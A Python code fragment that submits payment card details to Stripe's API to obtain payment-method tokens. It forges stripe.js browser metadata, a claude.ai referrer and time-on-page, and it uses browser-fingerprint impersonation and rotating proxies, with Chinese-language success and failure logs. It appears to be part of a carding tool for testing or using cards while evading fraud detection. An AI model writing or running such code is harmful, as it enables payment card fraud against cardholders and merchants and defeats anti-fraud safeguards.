data = {
"type": "card",
"card[number]": cc_num,
"card[cvc]": cvc,
"card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y,
"card[exp_month]": exp_m,
"allow_redisplay": "unspecified",
"billing_details[address][postal_code]": addr["postal_code"],
"billing_details[address][country]": addr["country"],
"billing_details[address][line1]": addr["line1"],
"billing_details[address][city]": addr["city"],
"billing_details[address][state]": addr["state"],
"billing_details[name]": name,
"billing_details[phone]": "",
"payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm",
"referrer": "https://claude.ai",
"time_on_page": str(time_on_page),
"client_attribution_metadata[client_session_id]": self.client_session_id,
"client_attribution_metadata[merchant_integration_source]": "elements",
"client_attribution_metadata[merchant_integration_subtype]": "payment-element",
"client_attribution_metadata[merchant_integration_version]": "2021",
"client_attribution_metadata[payment_intent_creation_flow]": "deferred",
"client_attribution_metadata[payment_method_selection_flow]": "automatic",
"client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id,
"client_attribution_metadata[merchant_integration_additional_elements][0]": "payment",
"client_attribution_metadata[merchant_integration_additional_elements][1]": "address",
"guid": self.guid,
"muid": self.muid,
"sid": self.sid,
"key": STRIPE_PK,
"_stripe_version": "2025-03-31.basil"
}
try:
print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}")
resp = requests.post(url, data=data, headers=headers, impersonate="chrome124", proxies=get_proxy())
if resp.status_code == 200:
pm_id = resp.json().get("id")
print(f"[+] Stripe Token 获取成功: {pm_id}")
return pm_id
else:
print(f"[-] Stripe 拒绝: {resp.text}")
return None
except Exception as e:
print(f"[-] Stripe 连接错误: {e}")
return None